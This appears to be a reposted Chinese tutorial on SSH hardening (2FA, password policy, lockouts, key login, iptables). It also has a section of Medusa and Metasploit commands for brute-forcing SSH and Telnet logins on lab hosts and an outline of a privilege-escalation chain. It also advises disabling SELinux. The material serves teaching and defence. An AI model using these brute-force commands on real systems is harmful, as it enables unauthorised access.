ssh安全加固

DevOpSec
• 阅读 1634

Linux SSH 安全加固,这里使用CentOS7.5 做演示

一、配置SSH双因素登录

​ 1.确定系统时钟是正确的

2.安装相关依赖

​ yum install -y git gcc automake autoconf libtool make pam-devel 

​ 3.安装google 验证器

git clone https://github.com/google/google-authenticator-libpam
cd google-authenticator-libpam
./bootstrap.sh
./configure
make && make install
ln -fs /usr/local/lib/security/pam_google_authenticator.so /lib64/security/ 

​ 4.配置验证器
​ 修改SSH文件 将ChallengeResponseAuthentication 修改为yes
​ 修改PAM文件 vim /etc/pam.d/sshd 在auth substack password-auth下面一行添加 auth required pam_google_authenticator.so
​ 关闭selinux 修改/etc/sysconfig/selinux 文件 将 SELINUX=enforcing 修改为disabled
​ google-authenticator
​ 重启SSH服务

二、设置密码长度以及复杂度

​ 1.设置密码长度

修改 /etc/login.defs文件
将PASS_MIN_LEN 数值修改
修改 /etc/pam.d/system_auth配置文件
在password requisite 行后边添加: minlen=数值 

​ 2.设置密码复杂度

方法一:修改/etc/pam.d/system-auth
在password requisite 行后边添加:
    ucredit=-1 #至少包含1位大写字母
    lcredit=-1 #至少包含1位小写字母
    ocredit=-1 #至少包含1位特殊字符
    dcredit=-1 #至少包含1位数字
方法二:使用如下命令:
    authconfig --enablereqlower --update
    authconfig --enablerequpper --update
    authconfig --enablereqdigit --update
    authconfig --enablereqother --update 

三、设置密码重试限制

1.限制tty登录

修改login文件:
# vi /etc/pam.d/login
在#%PAM-1.0下面插入一行,也就是在第二行插入如下内容:
auth required pam_tally2.so deny=5 unlock_time=1800 even_deny_root
root_unlock_time=3600
# 注意:上述配置必须在第二行,否则即使用户被锁定了,输入正确的用户名和密码也可以登录的。
# 普通用户和root用户,密码输入错误5次,都会被锁定,普通用户被锁定1800秒,root用户被锁定3600秒
# deny=5表示密码输入错误5次
# unlock_time=1800表示普通用户锁定的时间,单位为秒
# root_unlock_time=3600表示root用户锁定的时间,单位为秒
# even_deny_root表示root用户也锁定 

2.限制ssh登录

# vi /etc/pam.d/sshd
在#%PAM-1.0下面插入一行,也就是在第二行插入如下内容:
auth required pam_tally2.so deny=5 unlock_time=1800 even_deny_root
root_unlock_time=1800
# 注意:上述配置必须在第二行,否则即使用户被锁定了,输入正确的用户名和密码也可以登录的。 

扩展

1、Medusa SSH弱口令破解

如果在设置SSH服务时,管理员设置了容易被猜解出来的用户名和密码(弱口令)。那么充实人员就可以使用对应的密码工具进行暴力破解弱口令。破解出来就可以使用对应的用户名和密码登录系统

Medusa对特点的ssh服务进行用户名和密码破解

将需要破解的密码,写入pass.txt文档中,
/root/Desktop/#vi pass.txt
123456
12341234
123123
asdasfdsd
12345678

用pass.txt里面的密码,进行破解
#medusa -h 192.168.1.100 -u msfadmin -P /root/Desktop/pass.txt -M ssh 

ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固

2、Metasploit利用SSH登录反弹Shell

使用Metasploit可以进行ssh登录(破解),会自动建立对应的Bash shell连接。

# msfconsole
msf>use auxiliary/scanner/ssh/ssh_login
msf>show options

msf>set rhost 192.168.1.100
msf>set username msadmin
msf>set options 

msf>set password msadmin
msf>show options

运行run,进行ssh登录
msf>run

查看连接的会话
msf>sessions -l

查看登录用户的ID
msf>sessions -i 1 

ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固

3、Metasploit获取Metaspreter Shell

利用获取的Bash shell,注入Metasploit中Metaspreter payload从而获取更强大功能的shell

# msfconsole
msf>use auxiliary/scanner/ssh/ssh_login
msf>show options

登录系统
msf>run

查看会话2的具体信息
msf>sessions -u 2 
msf>sessions -l

查看帮助
msf>help
msf>msf>sessions -u 4 
msf>exit 

ssh安全加固
ssh安全加固
ssh安全加固
查看连接情况

# netstat -pantu
#ifconfig 

ssh安全加固

 # msfconsole
msf>use auxiliary/scanner/ssh/ssh_login
msf>show options

msf>set rhosts 192.168.1.100
msf>set username msfadmin
msf>set password msfadmin
msf>run

msf>sessions -l

查看会话1的登录端口等信息
msf>sessions -u 1
msf>sessions -l

查看登录的系统版本信息
msf>sysinfo
msf> 

ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固

SSH安全防御

1、SSH修改默认端口
2、SSH防御暴力破解用户账号
3、SSH设置PGP登录
4、Iptables设置阈值防止暴力破解

1、SSH修改默认端口

默认情况下,SSH使用22端口。为了安全,一般情况下都会修改默认端口

#service sshd status
#vi /etc/ssh/sshd_conifg
port 66

#service sshd restart 

ssh安全加固
注意:修改之后,必须重启ssh服务

2、SSH防御暴力破解用户账号

在Linux下可以配置不能使用用户名和密码登录,只使用SSH PGP方式验证登录。规避了SSH暴力破解
ssh安全加固
出现问题 :不能使用用户密码登录,很大程度上存在复杂操作
ssh安全加固

ssh安全加固
测试
ssh安全加固
配置成功

3、SSH设置PGP登录

默认情况下,SSH使用用户名和密码远程登录。但也可以使用密钥对进程身份验证登录(公钥和私钥)
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固

4、Iptables设置阈值防止暴力破解

利用Iptables对多次连接验证错误,进行账户锁定120秒

#iptables -I INPUT -p tcp --dport 22 -i eth0 -m state NEW -m recent --set
#iptables -I INPUT -p tcp --dport 22 -i eth0 -m state NEW -m recent --update --seconds 120 --hitcount 3 -j DROP

#service ssh restart 

ssh安全加固
在设置完之后,需要重新启动SSH服务

暴力破解、认证过程、登录提权

1、telnet版本获取
2、telnet密码破解
3、telnet登录测试
针对Telnet暴力破解

Telnet服务端默认情况下使用23端口
1、telnet版本获取
使用nmap获取telnet版本信息,或者使用metasploit获取对应版本信息。

#nmap -p23 -sV 192.168.1.105 

ssh安全加固
使用msfconsole

# msfconsole
msf>use auxiliary/scanner/telnet/telnet_version
msf>show options
运行run,进行ssh登录
msf>run

查看连接的会话
msf>sessions -l

查看登录用户的ID
msf>sessions -i 1

msf>search telnet 

ssh安全加固
ssh安全加固
2、telnet密码破解
ssh安全加固

msf>use auxiliary/scanner/telnet/telnet_login
msf>set rhosts 192.168.1.105
msf>show options

msf>set username msfadmin
msf>set password msfadmin
msf>set password
查看用户密码
msf>show options

取消查看用户密码
msf>unset password
msf>show options

msf>set pass_file /root/Desktop/pass.txt
msf>set threads 10

运行命令,从pass.txt中的密码一个一个测试
msf>run
msf>
msf> 

ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
ssh安全加固
3、telnet登录测试
使用破解好的会话链接telnet,并执行对应命令。
使用sessions -l 例举建立的会话
使用sessions -i id 使用对应的会话

msf>sessions -l 
msf>sessions -i id 

#ifconfig 

ssh安全加固
ssh安全加固

telnet登录提权

1、msf登录telnet
2、设置kali nc监听
3、msf连接shell下载exp
4、编译执行exp,获取root

1、msf登录telnet
在metasploit中使用telnet_login进行登录,并使用sessions -i id 连接shell

# msfconsole
msf>use auxiliary/scanner/telnet/telnet_login
msf>set rhosts 192.168.1.105
msf>show options

msf>set username msfadmin
msf>set password msfadmin
msf>set password

msf>run
msf>sessions -l 
msf>sessions -i 1 

ssh安全加固
ssh安全加固
2、msf连接shell下载exp
ssh安全加固

参考链接 :
CentOS7.0系统安全加固手册 : https://www.jianshu.com/p/501346ec6b26

Linux SSH安全加固 :https://www.jianshu.com/p/a953e70ea997

作者:Odinmx
链接:https://www.jianshu.com/p/a953e70ea997
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

本文转自 https://blog.csdn.net/qq_40907977/article/details/104198790,如有侵权,请联系删除。

点赞
收藏
评论区
推荐文章
blmius blmius
1年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
Stella981 Stella981
1年前
Android蓝牙连接汽车OBD设备
//设备连接public class BluetoothConnect implements Runnable {    private static final UUID CONNECT_UUID  UUID.fromString("0000110100001000800000805F9B34FB");
Wesley13 Wesley13
1年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
天翼云高可用虚拟IP(HAVIP)实践
(一)产品概述天翼云高可用虚拟IP(HighAvailabilityVirtualIPAddress,简称HAVIP)是一种可用独立创建和删除的私有网络IP地址资源。通过在VIPCIDR中申请一个私有网络IP地址,然后与高可用软件(如高可用软件Keepalived)配合使用,可用在VPC中搭建高可用的主备集群服务,提高VPC中服务的可用性。限制和说明
一个关于SDWAN单臂部署方案验证的实验
假设有这样一张网络,其中RTA和PCA表示某公司的A分支,通过中国电信CT路由器接入互联网ISP;RTB和PCB表示某公司的B分支,通过中国联通CU路由器接入互联网ISP。DNS(8.8.8.8)表示某互联网应用。为实现A分支私网192.168.2.0/24和B分支私网192.168.3.0/24的互通,现计划使用某厂商的SDWAN方案进打通两个内网,像下图
高性能API网关Kong介绍
本文关键词:高性能、API网关、Kong、微服务1.Introduction是随着微服务(Microservice)概念兴起的一种架构模式。原本一个庞大的单体应用(Allinone)业务系统被拆分成许多微服务(Microservice)系统进行独立的维护和部署,服务拆分带来的变化是API的规模成倍增长,API的管理难度也在日益增加,使用API网关发布和管
SPDK对接Ceph性能优化
关键词:SPDK、NVMeOF、Ceph、CPU负载均衡SPDK是intel公司主导开发的一套存储高性能开发套件,提供了一组工具和库,用于编写高性能、可扩展和用户态存储应用。它通过使用一些关键技术实现了高性能:1.将所有必需的驱动程序移到用户空间,以避免系统调用并且支持零拷贝访问2.IO的完成通过轮询硬件而不是依赖中断,以降低时延3.使用消息传递,以避免IO
3A网络 3A网络
5个月前
理解 virt、res、shr 之间的关系(linux 系统篇)
理解virt、res、shr之间的关系(linux系统篇)前言想必在linux上写过程序的同学都有分析进程占用多少内存的经历,或者被问到这样的问题——你的程序在运行时占用了多少内存(物理内存)?通常我们可以通过t
3A网络 3A网络
5个月前
开发一个不需要重写成 Hive QL 的大数据 SQL 引擎
开发一个不需要重写成HiveQL的大数据SQL引擎学习大数据技术的核心原理,掌握一些高效的思考和思维方式,构建自己的技术知识体系。明白了原理,有时甚至不需要学习,顺着原理就可以推导出各种实现细节。各种知识表象看杂乱无章,若只是学习
初识DevOps
基本概念和延伸的思考DevOps,是Development(开发)和Operations(运维)组成的复合词,一般译为“开发运维一体化”。看到这个概念,首先会产生几个问题:开发是什么,哪些环节是开发?运维是什么,哪些环节是运维?开发人员写好代码在本地调试,环境出问题了自己来调整,这是开发工作还是运维工作?系统故障后,运维人员发现是配置文件内容出错了就改成了正
SPDK QOS机制解析
本文关键词:intelspdkbdevqos序:intelspdk软件在存储领域应用广泛。因其可以高效管理linux系统的nvmessd盘,又支持vhostuser协议可以对接qemu虚拟机,在云计算领域通常被用来做本地盘云主机的存储管理软件。如此优秀的一款软件,有必要仔细分析其内部的实现机制,本篇文章主要介绍spdkqos机制。spdk